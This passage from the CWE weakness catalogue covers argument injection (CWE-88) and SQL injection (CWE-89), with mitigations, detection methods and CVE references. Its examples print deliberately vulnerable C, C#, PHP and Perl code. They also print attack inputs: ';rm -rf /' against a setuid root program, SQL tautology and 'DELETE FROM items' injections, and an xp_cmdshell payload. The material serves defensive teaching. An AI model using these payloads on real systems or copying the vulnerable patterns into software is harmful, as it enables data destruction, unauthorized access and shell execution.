When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples

Example 1:

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

Example Language: C *(bad)*

```
int main(int argc, char** argv) {
```

```
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Observed Examples

Reference	Description
CVE-1999-0113	Canonical Example *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0113*
CVE-2001-0150	Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0150*
CVE-2001-0667	Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0667*
CVE-2002-0985	Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0985*
CVE-2003-0907	Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0907*
CVE-2004-0121	Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0121*
CVE-2004-0473	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0473*
CVE-2004-0480	Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0480*
CVE-2004-0489	SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0489*
CVE-2004-0411	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0411*
CVE-2005-4699	Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4699*
CVE-2006-1865	Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute

Reference	Description
	arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1865*
CVE-2006-2056	Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2056*
CVE-2006-2057	Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2057*
CVE-2006-2058	Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2058*
CVE-2006-2312	Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2312*
CVE-2006-3015	Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3015*
CVE-2006-4692	Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4692*
CVE-2006-6597	Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6597*
CVE-2007-0882	Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0882*
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1246
CVE-2019-13475	Argument injection allows execution of arbitrary commands by injecting a "-exec" option, which is executed by the command. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1246*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	1889
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	1896
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1916
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1918
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	1999

Notes

Relationship

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Argument Injection or Modification
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV33-C	Imprecise	Do not call system()
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	30		Mail Command Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
88	OS Command Injection
137	Parameter Injection
174	Flash Parameter Injection
460	HTTP Parameter Pollution (HPP)

References

[REF-859]Steven Christey. "Argument injection issues". < http://www.securityfocus.com/archive/1/archive/1/460089/100/100/threaded >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1030]Eldar Marcussen. "Security issues with using PHP's escapeshellarg". 2013 November 3. < https://baesystemsai.blogspot.com/2013/11/security-issues-with-using-phps.html >.

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID : 89 **Status:** Stable
Structure : Simple
Abstraction : Base

Description

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	943	Improper Neutralization of Special Elements in Data Query Logic	1624
ParentOf	V	564	SQL Injection: Hibernate	1139
CanFollow	V	456	Missing Initialization of a Variable	971

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)

Nature	Type	ID	Name	Page
ParentOf	V	564	SQL Injection: Hibernate	1139

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Database Server *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.*	
Access Control	Bypass Protection Mechanism *If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.*	
Access Control	Bypass Protection Mechanism *If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.*	
Integrity	Modify Application Data *Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Database Scanners Cost effective for partial coverage: Web Application Scanner Web Services Scanner

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or

variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the

parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded. When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.

Example 2:

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

Example Language: C# *(bad)*

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

Example Language: *(informative)*

```
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

Example Language: *(attack)*

```
name' OR 'a'='a
```

for itemName, then the query becomes the following:

Example Language: *(attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the:

Example Language: *(attack)*

```
OR 'a'='a
```

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

Example Language: *(attack)*

```
SELECT * FROM items;
```

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3:

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

Example Language: *(attack)*

```
name'; DELETE FROM items; --
```

for itemName, then the query becomes the following two queries:

Example Language: SQL *(attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'
```

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

Example Language: *(attack)*

```
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a
```

Then the following three valid statements will be created:

Example Language: *(attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';
```

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

- Target fields that are not quoted
- Find ways to bypass the need for certain escaped meta-characters
- Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not

protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

Example Language: *(bad)*

```
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';
end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Example 4:

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

Example Language: *(bad)*

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

Where $user_input is taken from an untrusted source.

If the user provides the string:

Example Language: *(attack)*

```
'; exec master..xp_cmdshell 'dir' --
```

The query will take the following form:

Example Language: *(attack)*

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE
```

Now, this query can be broken down into:

1. a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';
2. a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'
3. an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

Example 5:

This code intends to print a message summary given the message ID.

Example Language: PHP *(bad)*

```
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

Example Language: *(attack)*

```
1432' or '1' = '1
```

This would produce the resulting query:

Example Language: *(result)*

```
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
```

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

Example Language: PHP *(good)*

```
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

Example 6:

This example attempts to take a last name provided by a user and enter it into a database.

Example Language: Perl *(bad)*

```
$userKey = getUserID();
$name = getUserInput();
# ensure only letters, hyphens and apostrophe are allowed
$name = allowList($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";
```

While the programmer applies a allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

Observed Examples

Reference	Description
CVE-2004-0366	chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0366*
CVE-2008-2790	SQL injection through an ID that was supposed to be numeric. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2790*
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2223*
CVE-2007-6602	SQL injection via user name.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6602
CVE-2008-5817	SQL injection via user name or password fields. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5817*
CVE-2003-0377	SQL injection in security product, using a crafted group name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0377*
CVE-2008-2380	SQL injection in authentication library. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2380*
CVE-2017-11508	SQL injection in vulnerability management and reporting tool, using a crafted password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11508*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	1871
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1877
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1892
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1894
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	1896
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	1911
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1005	7PK - Input Validation and Representation	700	1961
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

SQL injection can be resultant from special character mismanagement, MAID, or denylist/ allowlist problems. It can be primary to authentication errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			SQL injection
7 Pernicious Kingdoms			SQL Injection
CLASP			SQL injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	19		SQL Injection
Software Fault Patterns	SFP24		Tainted input to command

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCSM	ASCSM-CWE-89		
SEI CERT Oracle Coding Standard for Java	IDS00-J	Exact	Prevent SQL injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
7	Blind SQL Injection
66	SQL Injection
108	Command Line Execution through SQL Injection
109	Object Relational Mapping Injection
110	SQL Injection through SOAP Parameter Tampering
470	Expanding Control over the Operating System from the Database

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-867]OWASP. "SQL Injection Prevention Cheat Sheet". < http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet >.

[REF-868]Steven Friedl. "SQL Injection Attacks by Example". 2007 October 0. < http://www.unixwiz.net/techtips/sql-injection.html >.

[REF-869]Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007 March 5. < http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ >.

[REF-870]David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". 2005 July 4. Wiley.

[REF-871]David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". 2007 January 0. Wiley.

[REF-872]Microsoft. "SQL Injection". 2008 December. < http://msdn.microsoft.com/en-us/library/ms161953.aspx >.

[REF-873]Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". < http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx >.

[REF-874]Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008 May 5. < http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx >.

[REF-875]Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". 2010 March 1. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/01/top-25-series-rank-2-sql-injection/ >.

